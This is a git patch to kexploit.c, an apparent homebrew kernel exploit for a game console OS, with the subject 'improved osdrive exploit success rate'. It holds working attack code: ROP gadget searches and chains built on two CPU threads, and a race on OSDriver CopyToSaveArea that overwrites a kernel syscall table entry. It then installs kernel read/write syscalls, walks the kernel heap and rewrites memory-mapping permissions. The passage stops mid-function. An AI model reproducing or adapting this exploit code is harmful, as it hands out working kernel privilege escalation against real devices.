From 5c59b1be66600ee739530503c798f7c8d53681e2 Mon Sep 17 00:00:00 2001 From: dimok789 Date: Tue, 29 Mar 2016 21:33:10 +0200 Subject: [PATCH] improved osdrive exploit success rate --- installer/kexploit.c | 915 +++++++++++++++++++++++-------------------- 1 file changed, 493 insertions(+), 422 deletions(-) diff --git a/installer/kexploit.c b/installer/kexploit.c index 992f583..be88bb3 100644 --- a/installer/kexploit.c +++ b/installer/kexploit.c @@ -7,290 +7,360 @@ void printOSScreenMsg(unsigned int coreinit_handle, char *buf,unsigned int pos); void exitOSScreen(unsigned int coreinit_handle); void callSysExit(unsigned int coreinit_handle, void *sysFunc); +typedef struct +{ + char *drvb_name; + void *copy_payload; + void *thread0; + void *thread2; + uint32_t *rop0; + uint32_t *rop2; + + void (*OSYieldThread)(void); + int32_t (*OSResumeThread)(void * thread); + uint32_t (*CopyToSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length); +} thread_data_container_t; + +static void thread_callback(int argc, void *argv) +{ + thread_data_container_t *container = (thread_data_container_t*)argv; + + container->OSYieldThread(); + + /* Schedule both threads for execution */ + container->OSResumeThread(container->thread0); + container->OSResumeThread(container->thread2); + + /* Signal the CPU0 and CPU2 threads to begin */ + container->rop0[0x1fc/4] = 0; + container->rop2[0x1ac/4] = 0; + + container->OSYieldThread(); + + container->CopyToSaveArea(container->drvb_name, 4, container->copy_payload, 0x1000); +} + /* Initial setup code stolen from Pong, makes race much more reliable */ void run_kexploit(private_data_t *private_data) { - unsigned int coreinit_handle, sysapp_handle; - OSDynLoad_Acquire("coreinit", &coreinit_handle); - OSDynLoad_Acquire("sysapp", &sysapp_handle); - //needed to not destroy screen - doBrowserShutdown(coreinit_handle); - //prints out first message as well - setupOSScreen(coreinit_handle); + unsigned int coreinit_handle, sysapp_handle; + OSDynLoad_Acquire("coreinit", &coreinit_handle); + OSDynLoad_Acquire("sysapp", &sysapp_handle); + //needed to not destroy screen + doBrowserShutdown(coreinit_handle); + //prints out first message as well + setupOSScreen(coreinit_handle); - if(KERN_SYSCALL_TBL == 0) - { - printOSScreenMsg(coreinit_handle, "Your kernel version has not been implemented yet.",1); - wait(0x3FFFFFFF); - exitOSScreen(coreinit_handle); - } + if(KERN_SYSCALL_TBL == 0) + { + printOSScreenMsg(coreinit_handle, "Your kernel version has not been implemented yet.",1); + wait(0x3FFFFFFF); + exitOSScreen(coreinit_handle); + } - //OS Memory functions - void*(*memset)(void *dest, uint32_t value, uint32_t bytes); - void*(*memcpy)(void *dest, void *src, uint32_t length); - void*(*OSAllocFromSystem)(uint32_t size, int align); - void (*OSFreeToSystem)(void *ptr); - void (*DCFlushRange)(void *buffer, uint32_t length); - void (*DCInvalidateRange)(void *buffer, uint32_t length); - void (*ICInvalidateRange)(void *buffer, uint32_t length); + //OS Memory functions + void*(*memset)(void *dest, uint32_t value, uint32_t bytes); + void*(*memcpy)(void *dest, void *src, uint32_t length); + void*(*OSAllocFromSystem)(uint32_t size, int align); + void (*OSFreeToSystem)(void *ptr); + void (*DCFlushRange)(void *buffer, uint32_t length); + void (*DCInvalidateRange)(void *buffer, uint32_t length); + void (*ICInvalidateRange)(void *buffer, uint32_t length); - /* OS thread functions */ - bool (*OSCreateThread)(void *thread, void *entry, int argc, void *args, uint32_t stack, uint32_t stack_size, int32_t priority, uint16_t attr); - int32_t (*OSResumeThread)(void *thread); + /* OS thread functions */ + bool (*OSCreateThread)(void *thread, void *entry, int argc, void *args, uint32_t stack, uint32_t stack_size, int32_t priority, uint16_t attr); + int32_t (*OSResumeThread)(void *thread); + int32_t (*OSGetThreadPriority)(void *thread); + void * (*OSGetCurrentThread)(void); + void (*OSYieldThread)(void); + int (*OSIsThreadTerminated)(void *thread); - /* Exit functions */ - void (*__PPCExit)(); - void (*_Exit)(); + /* Exit functions */ + void (*__PPCExit)(); + void (*_Exit)(); - int(*SYSSwitchToBrowser)(void *args); - int(*SYSLaunchSettings)(void *args); + int(*SYSSwitchToBrowser)(void *args); + int(*SYSLaunchSettings)(void *args); - /* Read the addresses of the functions */ - OSDynLoad_FindExport(coreinit_handle, 0, "memset", &memset); - OSDynLoad_FindExport(coreinit_handle, 0, "memcpy", &memcpy); - OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem); - OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem); - OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange); - OSDynLoad_FindExport(coreinit_handle, 0, "DCInvalidateRange", &DCInvalidateRange); - OSDynLoad_FindExport(coreinit_handle, 0, "ICInvalidateRange", &ICInvalidateRange); + /* Read the addresses of the functions */ + OSDynLoad_FindExport(coreinit_handle, 0, "memset", &memset); + OSDynLoad_FindExport(coreinit_handle, 0, "memcpy", &memcpy); + OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem); + OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem); + OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange); + OSDynLoad_FindExport(coreinit_handle, 0, "DCInvalidateRange", &DCInvalidateRange); + OSDynLoad_FindExport(coreinit_handle, 0, "ICInvalidateRange", &ICInvalidateRange); - OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread); - OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread); + OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread); + OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread); + OSDynLoad_FindExport(coreinit_handle, 0, "OSGetThreadPriority", &OSGetThreadPriority); + OSDynLoad_FindExport(coreinit_handle, 0, "OSGetCurrentThread", &OSGetCurrentThread); + OSDynLoad_FindExport(coreinit_handle, 0, "OSYieldThread", &OSYieldThread); + OSDynLoad_FindExport(coreinit_handle, 0, "OSIsThreadTerminated", &OSIsThreadTerminated); - OSDynLoad_FindExport(coreinit_handle, 0, "__PPCExit", &__PPCExit); - OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &_Exit); + OSDynLoad_FindExport(coreinit_handle, 0, "__PPCExit", &__PPCExit); + OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &_Exit); - OSDynLoad_FindExport(sysapp_handle, 0, "SYSSwitchToBrowser", &SYSSwitchToBrowser); - OSDynLoad_FindExport(sysapp_handle, 0, "SYSLaunchSettings", &SYSLaunchSettings); + OSDynLoad_FindExport(sysapp_handle, 0, "SYSSwitchToBrowser", &SYSSwitchToBrowser); + OSDynLoad_FindExport(sysapp_handle, 0, "SYSLaunchSettings", &SYSLaunchSettings); - /* Allocate a stack for the threads */ - uint32_t stack0 = (uint32_t) OSAllocFromSystem(0x300, 0x20); - uint32_t stack2 = (uint32_t) OSAllocFromSystem(0x300, 0x20); + /* Allocate a stack for the threads */ + uint32_t stack0 = (uint32_t) private_data->MEMAllocFromDefaultHeapEx(0x300, 0x20); + uint32_t stack2 = (uint32_t) private_data->MEMAllocFromDefaultHeapEx(0x300, 0x20); + uint32_t stack1 = (uint32_t) private_data->MEMAllocFromDefaultHeapEx(0x300, 0x20); - /* Create the threads */ - void *thread0 = OSAllocFromSystem(OSTHREAD_SIZE, 8); - bool ret0 = OSCreateThread(thread0, _Exit, 0, NULL, stack0 + 0x300, 0x300, 0, 1); - void *thread2 = OSAllocFromSystem(OSTHREAD_SIZE, 8); - bool ret2 = OSCreateThread(thread2, _Exit, 0, NULL, stack2 + 0x300, 0x300, 0, 4); - if (ret0 == false || ret2 == false) - { - printOSScreenMsg(coreinit_handle, "Failed to create threads! Please try again.",1); - wait(0x2FFFFFFF); - exitOSScreen(coreinit_handle); - } + /* Create the threads */ + void *thread0 = private_data->MEMAllocFromDefaultHeapEx(OSTHREAD_SIZE, 8); + bool ret0 = OSCreateThread(thread0, _Exit, 0, NULL, stack0 + 0x300, 0x300, 0, 1 | 0x10 | 8); + void *thread2 = private_data->MEMAllocFromDefaultHeapEx(OSTHREAD_SIZE, 8); + bool ret2 = OSCreateThread(thread2, _Exit, 0, NULL, stack2 + 0x300, 0x300, 0, 4 | 0x10 | 8); + void *thread1 = private_data->MEMAllocFromDefaultHeapEx(OSTHREAD_SIZE, 8); + if (ret0 == false || ret2 == false) + { + printOSScreenMsg(coreinit_handle, "Failed to create threads! Please try again.",1); + wait(0x2FFFFFFF); + exitOSScreen(coreinit_handle); + } - printOSScreenMsg(coreinit_handle, "Running Exploit...",1); + printOSScreenMsg(coreinit_handle, "Running Exploit...",1); - /* Find a bunch of gadgets */ - uint32_t sleep_addr; - OSDynLoad_FindExport(coreinit_handle, 0, "OSSleepTicks", &sleep_addr); - sleep_addr += 0x44; - uint32_t sigwait[] = {0x801F0000, 0x7C0903A6, 0x4E800421, 0x83FF0004, 0x2C1F0000, 0x4082FFEC, 0x80010014, 0x83E1000C, 0x7C0803A6, 0x38210010, 0x4E800020}; - uint32_t sigwait_addr = (uint32_t) find_gadget(sigwait, 0x2c, (uint32_t) __PPCExit); - uint32_t r3r4load[] = {0x80610008, 0x8081000C, 0x80010014, 0x7C0803A6, 0x38210010, 0x4E800020}; - uint32_t r3r4load_addr = (uint32_t) find_gadget(r3r4load, 0x18, (uint32_t) __PPCExit); - uint32_t r5load[] = {0x80A10008, 0x38210010, 0x7CA32B78, 0x80810004, 0x7C8803A6, 0x4E800020}; - uint32_t r5load_addr = (uint32_t) find_gadget(r5load, 0x18, (uint32_t) __PPCExit); - uint32_t r6load[] = {0x80C10014, 0x90610010, 0x80010010, 0x915E002C, 0x81210008, 0x901E0030, 0x913E0028, 0x90DE0034, 0x80010034, 0x83E1002C, 0x7C0803A6, 0x83C10028, 0x38210030, 0x4E800020}; - uint32_t r6load_addr = (uint32_t) find_gadget(r6load, 0x38, (uint32_t) __PPCExit); - uint32_t r30r31load[] = {0x80010034, 0x83E1002C, 0x7C0803A6, 0x83C10028, 0x38210030, 0x4E800020}; - uint32_t r30r31load_addr = (uint32_t) find_gadget(r30r31load, 0x18, (uint32_t) __PPCExit); + /* Find a bunch of gadgets */ + uint32_t sleep_addr; + OSDynLoad_FindExport(coreinit_handle, 0, "OSSleepTicks", &sleep_addr); + sleep_addr += 0x44; + uint32_t sigwait[] = {0x801F0000, 0x7C0903A6, 0x4E800421, 0x83FF0004, 0x2C1F0000, 0x4082FFEC, 0x80010014, 0x83E1000C, 0x7C0803A6, 0x38210010, 0x4E800020}; + uint32_t sigwait_addr = (uint32_t) find_gadget(sigwait, 0x2c, (uint32_t) __PPCExit); + uint32_t r3r4load[] = {0x80610008, 0x8081000C, 0x80010014, 0x7C0803A6, 0x38210010, 0x4E800020}; + uint32_t r3r4load_addr = (uint32_t) find_gadget(r3r4load, 0x18, (uint32_t) __PPCExit); + uint32_t r5load[] = {0x80A10008, 0x38210010, 0x7CA32B78, 0x80810004, 0x7C8803A6, 0x4E800020}; + uint32_t r5load_addr = (uint32_t) find_gadget(r5load, 0x18, (uint32_t) __PPCExit); + uint32_t r6load[] = {0x80C10014, 0x90610010, 0x80010010, 0x915E002C, 0x81210008, 0x901E0030, 0x913E0028, 0x90DE0034, 0x80010034, 0x83E1002C, 0x7C0803A6, 0x83C10028, 0x38210030, 0x4E800020}; + uint32_t r6load_addr = (uint32_t) find_gadget(r6load, 0x38, (uint32_t) __PPCExit); + uint32_t r30r31load[] = {0x80010034, 0x83E1002C, 0x7C0803A6, 0x83C10028, 0x38210030, 0x4E800020}; + uint32_t r30r31load_addr = (uint32_t) find_gadget(r30r31load, 0x18, (uint32_t) __PPCExit); - /* Find the OSDriver functions */ - uint32_t reg[] = {0x38003200, 0x44000002, 0x4E800020}; - uint32_t (*Register)(char *driver_name, uint32_t name_length, void *buf1, void *buf2) = find_gadget(reg, 0xc, (uint32_t) __PPCExit); - uint32_t dereg[] = {0x38003300, 0x44000002, 0x4E800020}; - uint32_t (*Deregister)(char *driver_name, uint32_t name_length) = find_gadget(dereg, 0xc, (uint32_t) __PPCExit); - uint32_t copyfrom[] = {0x38004700, 0x44000002, 0x4E800020}; - uint32_t (*CopyFromSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyfrom, 0xc, (uint32_t) __PPCExit); - uint32_t copyto[] = {0x38004800, 0x44000002, 0x4E800020}; - uint32_t (*CopyToSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyto, 0xc, (uint32_t) __PPCExit); + /* Find the OSDriver functions */ + uint32_t reg[] = {0x38003200, 0x44000002, 0x4E800020}; + uint32_t (*Register)(char *driver_name, uint32_t name_length, void *buf1, void *buf2) = find_gadget(reg, 0xc, (uint32_t) __PPCExit); + uint32_t dereg[] = {0x38003300, 0x44000002, 0x4E800020}; + uint32_t (*Deregister)(char *driver_name, uint32_t name_length) = find_gadget(dereg, 0xc, (uint32_t) __PPCExit); + uint32_t copyfrom[] = {0x38004700, 0x44000002, 0x4E800020}; + uint32_t (*CopyFromSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyfrom, 0xc, (uint32_t) __PPCExit); + uint32_t copyto[] = {0x38004800, 0x44000002, 0x4E800020}; + uint32_t (*CopyToSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyto, 0xc, (uint32_t) __PPCExit); - /* Set up the ROP chain for CPU0 */ - OSContext *ctx0 = (OSContext*) thread0; - uint32_t *rop0 = (uint32_t*) stack0; - ctx0->gpr[1] = stack0 + 0x80; - ctx0->gpr[28] = 0; - ctx0->gpr[29] = CPU0_WAIT_TIME; - ctx0->gpr[31] = stack0 + 0x1f8; - ctx0->srr0 = sigwait_addr + 0xc; - rop0[0x94/4] = sleep_addr; - rop0[0x114/4] = r3r4load_addr; - rop0[0x118/4] = stack0 + 0x208; - rop0[0x11c/4] = 4; - rop0[0x124/4] = r30r31load_addr; - rop0[0x14c/4] = stack0 + 0x220; - rop0[0x154/4] = sigwait_addr; - rop0[0x164/4] = r5load_addr; - rop0[0x168/4] = stack0 + 0x218; - rop0[0x174/4] = r3r4load_addr; - rop0[0x178/4] = stack0 + 0x210; - rop0[0x17c/4] = 4; - rop0[0x184/4] = r30r31load_addr; - rop0[0x1a8/4] = stack0 + 0x230; - rop0[0x1b4/4] = r6load_addr; - rop0[0x1c4/4] = stack0 + 0x21c; - rop0[0x1dc/4] = stack0 + 0x228; - rop0[0x1e4/4] = sigwait_addr; - rop0[0x1f4/4] = sigwait_addr + 0x28; - rop0[0x1f8/4] = sigwait_addr + 0xc; - rop0[0x1fc/4] = stack0 + 0x1f8; - rop0[0x200/4] = 0; - rop0[0x204/4] = 0; - rop0[0x208/4] = 0x44525642; - rop0[0x20c/4] = 0; - rop0[0x210/4] = 0x44525643; - rop0[0x214/4] = 0; - rop0[0x218/4] = 0; - rop0[0x21c/4] = 0; - rop0[0x220/4] = (uint32_t)Deregister; - rop0[0x224/4] = 0; - rop0[0x228/4] = (uint32_t)Register; - rop0[0x22c/4] = 0; + /* Set up the ROP chain for CPU0 */ + OSContext *ctx0 = (OSContext*) thread0; + uint32_t *rop0 = (uint32_t*) stack0; + ctx0->gpr[1] = stack0 + 0x80; + ctx0->gpr[28] = 0; + ctx0->gpr[29] = CPU0_WAIT_TIME * 2; + ctx0->gpr[31] = stack0 + 0x1f8; + ctx0->srr0 = sigwait_addr + 0xc; + rop0[0x94/4] = sleep_addr; + rop0[0x114/4] = r3r4load_addr; + rop0[0x118/4] = stack0 + 0x208; + rop0[0x11c/4] = 4; + rop0[0x124/4] = r30r31load_addr; + rop0[0x14c/4] = stack0 + 0x220; + rop0[0x154/4] = sigwait_addr; + rop0[0x164/4] = r5load_addr; + rop0[0x168/4] = stack0 + 0x218; + rop0[0x174/4] = r3r4load_addr; + rop0[0x178/4] = stack0 + 0x210; + rop0[0x17c/4] = 4; + rop0[0x184/4] = r30r31load_addr; + rop0[0x1a8/4] = stack0 + 0x230; + rop0[0x1b4/4] = r6load_addr; + rop0[0x1c4/4] = stack0 + 0x21c; + rop0[0x1dc/4] = stack0 + 0x228; + rop0[0x1e4/4] = sigwait_addr; + rop0[0x1f4/4] = sigwait_addr + 0x28; + rop0[0x1f8/4] = sigwait_addr + 0xc; + rop0[0x1fc/4] = stack0 + 0x1f8; + rop0[0x200/4] = 0; + rop0[0x204/4] = 0; + rop0[0x208/4] = 0x44525642; + rop0[0x20c/4] = 0; + rop0[0x210/4] = 0x44525643; + rop0[0x214/4] = 0; + rop0[0x218/4] = 0; + rop0[0x21c/4] = 0; + rop0[0x220/4] = (uint32_t)Deregister; + rop0[0x224/4] = 0; + rop0[0x228/4] = (uint32_t)Register; + rop0[0x22c/4] = 0; - /* Set up the ROP chain for CPU2 */ - OSContext *ctx2 = (OSContext*) thread2; - uint32_t *rop2 = (uint32_t*) stack2; - ctx2->gpr[1] = stack2 + 0x80; - ctx2->gpr[28] = 0; - ctx2->gpr[29] = CPU2_WAIT_TIME; - ctx2->gpr[31] = stack2 + 0x1a8; - ctx2->srr0 = sigwait_addr + 0xc; - rop2[0x94/4] = sleep_addr; - rop2[0x114/4] = r5load_addr; - rop2[0x118/4] = stack2 + 0x204; - rop2[0x124/4] = r3r4load_addr; - rop2[0x128/4] = stack2 + 0x1b8; - rop2[0x12c/4] = 4; - rop2[0x134/4] = r30r31load_addr; - rop2[0x158/4] = stack2 + 0x1c8; - rop2[0x164/4] = r6load_addr; - rop2[0x174/4] = 4; - rop2[0x18c/4] = stack2 + 0x1c0; - rop2[0x194/4] = sigwait_addr; - rop2[0x1a4/4] = sigwait_addr + 0x28; - rop2[0x1a8/4] = sigwait_addr + 0xc; - rop2[0x1ac/4] = stack2 + 0x1a8; - rop2[0x1b0/4] = 0; - rop2[0x1b4/4] = 0; - rop2[0x1b8/4] = 0x44525641; - rop2[0x1bc/4] = 0; - rop2[0x1c0/4] = (uint32_t)CopyToSaveArea; - rop2[0x1c4/4] = 0; - rop2[0x204/4] = 0xDEADC0DE; + /* Set up the ROP chain for CPU2 */ + OSContext *ctx2 = (OSContext*) thread2; + uint32_t *rop2 = (uint32_t*) stack2; + ctx2->gpr[1] = stack2 + 0x80; + ctx2->gpr[28] = 0; + ctx2->gpr[29] = CPU2_WAIT_TIME * 4; + ctx2->gpr[31] = stack2 + 0x1a8; + ctx2->srr0 = sigwait_addr + 0xc; + rop2[0x94/4] = sleep_addr; + rop2[0x114/4] = r5load_addr; + rop2[0x118/4] = stack2 + 0x204; + rop2[0x124/4] = r3r4load_addr; + rop2[0x128/4] = stack2 + 0x1b8; + rop2[0x12c/4] = 4; + rop2[0x134/4] = r30r31load_addr; + rop2[0x158/4] = stack2 + 0x1c8; + rop2[0x164/4] = r6load_addr; + rop2[0x174/4] = 4; + rop2[0x18c/4] = stack2 + 0x1c0; + rop2[0x194/4] = sigwait_addr; + rop2[0x1a4/4] = sigwait_addr + 0x28; + rop2[0x1a8/4] = sigwait_addr + 0xc; + rop2[0x1ac/4] = stack2 + 0x1a8; + rop2[0x1b0/4] = 0; + rop2[0x1b4/4] = 0; + rop2[0x1b8/4] = 0x44525641; + rop2[0x1bc/4] = 0; + rop2[0x1c0/4] = (uint32_t)CopyToSaveArea; + rop2[0x1c4/4] = 0; + rop2[0x204/4] = 0xDEADC0DE; - /* Register driver A and driver B */ - char *drva_name = OSAllocFromSystem(8, 4); - memcpy(drva_name, "DRVA", 5); - char *drvb_name = OSAllocFromSystem(8, 4); - memcpy(drvb_name, "DRVB", 5); - uint32_t status = Register(drva_name, 4, NULL, NULL) | Register(drvb_name, 4, NULL, NULL); - if (status != 0) - { - printOSScreenMsg(coreinit_handle, "Register() of driver A and B failed! Reloading kernel...",2); - wait(0x2FFFFFFF); - callSysExit(coreinit_handle,SYSLaunchSettings); - exitOSScreen(coreinit_handle); - } + /* Register driver A and driver B */ + char *drva_name = private_data->MEMAllocFromDefaultHeapEx(8, 4); + memcpy(drva_name, "DRVA", 5); + char *drvb_name = private_data->MEMAllocFromDefaultHeapEx(8, 4); + memcpy(drvb_name, "DRVB", 5); + uint32_t status = Register(drva_name, 4, NULL, NULL) | Register(drvb_name, 4, NULL, NULL); + if (status != 0) + { + printOSScreenMsg(coreinit_handle, "Register() of driver A and B failed! Reloading kernel...",2); + wait(0x2FFFFFFF); + callSysExit(coreinit_handle,SYSLaunchSettings); + exitOSScreen(coreinit_handle); + } - /* Generate the copy payload, which writes to syscall_table[0x34] */ - uint32_t testval = 0xDEADBEEF; - uint32_t *copy_payload = OSAllocFromSystem(0x1000, 0x20); - if (!copy_payload) - { - printOSScreenMsg(coreinit_handle, "Failed to allocate payload! Reloading kernel...",2); - wait(0x2FFFFFFF); - callSysExit(coreinit_handle,SYSLaunchSettings); - exitOSScreen(coreinit_handle); - } - copy_payload[0] = 0x01234567; - copy_payload[0xfb4/4] = 0x44525648; - copy_payload[0xfb8/4] = 0x41580000; - copy_payload[0xff4/4] = PFID_BROWSER; - copy_payload[0xff8/4] = /*&testval*/KERN_SYSCALL_TBL + (0x34 * 4); - DCFlushRange(copy_payload, 0x1000); - DCInvalidateRange(copy_payload, 0x1000); + /* Generate the copy payload, which writes to syscall_table[0x34] */ + uint32_t *copy_payload = OSAllocFromSystem(0x1000, 0x20); + if (!copy_payload) + { + printOSScreenMsg(coreinit_handle, "Failed to allocate payload! Reloading kernel...",2); + wait(0x2FFFFFFF); + callSysExit(coreinit_handle,SYSLaunchSettings); + exitOSScreen(coreinit_handle); + } + copy_payload[0] = 0x01234567; + copy_payload[0xfb4/4] = 0x44525648; + copy_payload[0xfb8/4] = 0x41580000; + copy_payload[0xff4/4] = PFID_BROWSER; + copy_payload[0xff8/4] = KERN_SYSCALL_TBL + (0x34 * 4); + DCFlushRange(copy_payload, 0x1000); + DCInvalidateRange(copy_payload, 0x1000); - /* Schedule both threads for execution */ - OSResumeThread(thread0); - OSResumeThread(thread2); + char *drvhax_name = private_data->MEMAllocFromDefaultHeapEx(8, 4); + drvhax_name[7] = 0; + memcpy(drvhax_name, "DRVHAX", 7); + uint32_t *syscalls = private_data->MEMAllocFromDefaultHeapEx(8, 4); + syscalls[0] = KERN_CODE_READ; + syscalls[1] = KERN_CODE_WRITE; - /* Do a dummy copy to put CopyToSaveArea() in our cache */ - CopyToSaveArea(drvb_name, 4, (void*)0xC0000004, 4); + /* Do a dummy copy to put CopyToSaveArea() in our cache */ + CopyToSaveArea(drvb_name, 4, (void*)0xC0000004, 4); - /* Signal the CPU0 and CPU2 threads to begin */ - rop2[0x1ac/4] = 0; - rop0[0x1fc/4] = 0; + thread_data_container_t container; + container.drvb_name = drvb_name; + container.copy_payload = copy_payload; + container.rop0 = rop0; + container.rop2 = rop2; + container.thread0 = thread0; + container.thread2 = thread2; + container.OSResumeThread = OSResumeThread; + container.OSYieldThread = OSYieldThread; + container.CopyToSaveArea = CopyToSaveArea; - /* Start copying the payload into driver B's save area */ - CopyToSaveArea(drvb_name, 4, copy_payload, 0x1000); + bool ret3 = OSCreateThread(thread1, thread_callback, 1, &container, stack1 + 0x300, 0x300, OSGetThreadPriority(OSGetCurrentThread()), 2 | 0x10 | 8); - /* Wait for a while, which somehow helps things */ - int i = 0, ctr = 0; - for (i = 0; i < 300000000; i++) - { - ctr++; - } + OSYieldThread(); + /* Schedule both threads for execution */ + //OSResumeThread(thread0); + //OSResumeThread(thread2); + OSResumeThread(thread1); - /* Use DRVHAX to install the read and write syscalls */ - char *drvhax_name = OSAllocFromSystem(8, 4); - memcpy(drvhax_name, "DRVHAX", 7); - uint32_t *syscalls = OSAllocFromSystem(8, 4); - syscalls[0] = KERN_CODE_READ; - syscalls[1] = KERN_CODE_WRITE; - status = CopyToSaveArea(drvhax_name, 6, syscalls, 8); - /* Verify that the syscalls were installed */ - uint32_t result = 42; - status = CopyFromSaveArea(drvhax_name, 6, &result, 4); - if (result != KERN_CODE_READ) - { - printOSScreenMsg(coreinit_handle, "Race attack failed! Reloading kernel...",2); - wait(0x2FFFFFFF); - callSysExit(coreinit_handle,SYSLaunchSettings); - exitOSScreen(coreinit_handle); - } + /* Signal the CPU0 and CPU2 threads to begin */ + //rop2[0x1ac/4] = 0; + //rop0[0x1fc/4] = 0; - /* Search the kernel heap for DRVA and DRVHAX */ - uint32_t drva_addr = 0, drvhax_addr = 0; - uint32_t metadata_addr = KERN_HEAP + 0x14 + (kern_read((void*)(KERN_HEAP + 0x0c)) * 0x10); - while (metadata_addr >= KERN_HEAP + 0x14) - { - /* Read the data address from the metadata, then read the data */ - uint32_t data_addr = kern_read((void*)metadata_addr); - uint32_t data = kern_read((void*)data_addr); + /* Start copying the payload into driver B's save area */ + //CopyToSaveArea(drvb_name, 4, copy_payload, 0x1000); - /* Check for DRVA or DRVHAX, and if both are found, break */ - if (data == 0x44525641) drva_addr = data_addr; - else if (data == 0x44525648) drvhax_addr = data_addr; - if (drva_addr && drvhax_addr) break; + /* The amount of instructions in this loop and the sleep ticks of the other cores can decide whether its a success or not */ + while(OSIsThreadTerminated(thread1) == 0) + { + asm volatile ( + " nop\n" + " nop\n" + " nop\n" + " nop\n" + " nop\n" + " nop\n" + " nop\n" + " nop\n" + ); - /* Go to the previous metadata entry */ - metadata_addr -= 0x10; - } - if (!(drva_addr && drvhax_addr)) - { - printOSScreenMsg(coreinit_handle, "Failed to find DRVA or DRVHAX! Reloading kernel...",2); - wait(0x2FFFFFFF); - callSysExit(coreinit_handle,SYSLaunchSettings); - exitOSScreen(coreinit_handle); - } - /* Make DRVHAX point to DRVA to ensure a clean exit */ - kern_write((void*)(drvhax_addr + 0x48), drva_addr); + OSYieldThread(); + } - //map (mostly unused) memory area to specific MEM2 region + /* Use DRVHAX to install the read and write syscalls */ + status = CopyToSaveArea(drvhax_name, 6, syscalls, 8); + + /* Verify that the syscalls were installed */ + uint32_t result = 42; + status = CopyFromSaveArea(drvhax_name, 6, &result, 4); + if (result != KERN_CODE_READ) + { + printOSScreenMsg(coreinit_handle, "Race attack failed! Reloading kernel...",2); + wait(0x2FFFFFFF); + callSysExit(coreinit_handle,SYSLaunchSettings); + exitOSScreen(coreinit_handle); + } + + /* Search the kernel heap for DRVA and DRVHAX */ + uint32_t drva_addr = 0, drvhax_addr = 0; + uint32_t metadata_addr = KERN_HEAP + 0x14 + (kern_read((void*)(KERN_HEAP + 0x0c)) * 0x10); + while (metadata_addr >= KERN_HEAP + 0x14) + { + /* Read the data address from the metadata, then read the data */ + uint32_t data_addr = kern_read((void*)metadata_addr); + uint32_t data = kern_read((void*)data_addr); + + /* Check for DRVA or DRVHAX, and if both are found, break */ + if (data == 0x44525641) drva_addr = data_addr; + else if (data == 0x44525648) drvhax_addr = data_addr; + if (drva_addr && drvhax_addr) break; + + /* Go to the previous metadata entry */ + metadata_addr -= 0x10; + } + if (!(drva_addr && drvhax_addr)) + { + printOSScreenMsg(coreinit_handle, "Failed to find DRVA or DRVHAX! Reloading kernel...",2); + wait(0x2FFFFFFF); + callSysExit(coreinit_handle,SYSLaunchSettings); + exitOSScreen(coreinit_handle); + } + /* Make DRVHAX point to DRVA to ensure a clean exit */ + kern_write((void*)(drvhax_addr + 0x48), drva_addr); + + //map (mostly unused) memory area to specific MEM2 region #if (VER<410) //start of region on old FWs - kern_write((void*)(KERN_ADDRESS_TBL + (0x12 * 4)), 0x10000000); + kern_write((void*)(KERN_ADDRESS_TBL + (0x12 * 4)), 0x10000000); #else //newer FWs use different mappings - kern_write((void*)(KERN_ADDRESS_TBL + (0x12 * 4)), 0x10000000); + kern_write((void*)(KERN_ADDRESS_TBL + (0x12 * 4)), 0x10000000); #endif - //give that memory area read/write permissions - kern_write((void*)(KERN_ADDRESS_TBL + (0x13 * 4)), 0x28305800); + //give that memory area read/write permissions + kern_write((void*)(KERN_ADDRESS_TBL + (0x13 * 4)), 0x28305800); - printOSScreenMsg(coreinit_handle, "Success! Re-launch HBL again...",2); - wait(0x1FFFFFFF); - callSysExit(coreinit_handle,SYSSwitchToBrowser); - exitOSScreen(coreinit_handle); + printOSScreenMsg(coreinit_handle, "Success! Re-launch HBL again...",2); + wait(0x1FFFFFFF); + callSysExit(coreinit_handle,SYSSwitchToBrowser); + exitOSScreen(coreinit_handle); } void wait(unsigned int t) @@ -298,249 +368,250 @@ void wait(unsigned int t) // the wait times are too short with optimizations enabled so we double them t *= 2; - while(t--) + while(t--) asm volatile("nop"); } void doBrowserShutdown(unsigned int coreinit_handle) { - void*(*memset)(void *dest, uint32_t value, uint32_t bytes); - void*(*OSAllocFromSystem)(uint32_t size, int align); - void (*OSFreeToSystem)(void *ptr); + void*(*memset)(void *dest, uint32_t value, uint32_t bytes); + void*(*OSAllocFromSystem)(uint32_t size, int align); + void (*OSFreeToSystem)(void *ptr); - int(*IM_SetDeviceState)(int fd, void *mem, int state, int a, int b); - int(*IM_Close)(int fd); - int(*IM_Open)(); + int(*IM_SetDeviceState)(int fd, void *mem, int state, int a, int b); + int(*IM_Close)(int fd); + int(*IM_Open)(); - OSDynLoad_FindExport(coreinit_handle, 0, "memset", &memset); - OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem); - OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem); + OSDynLoad_FindExport(coreinit_handle, 0, "memset", &memset); + OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem); + OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem); - OSDynLoad_FindExport(coreinit_handle, 0, "IM_SetDeviceState", &IM_SetDeviceState); - OSDynLoad_FindExport(coreinit_handle, 0, "IM_Close", &IM_Close); - 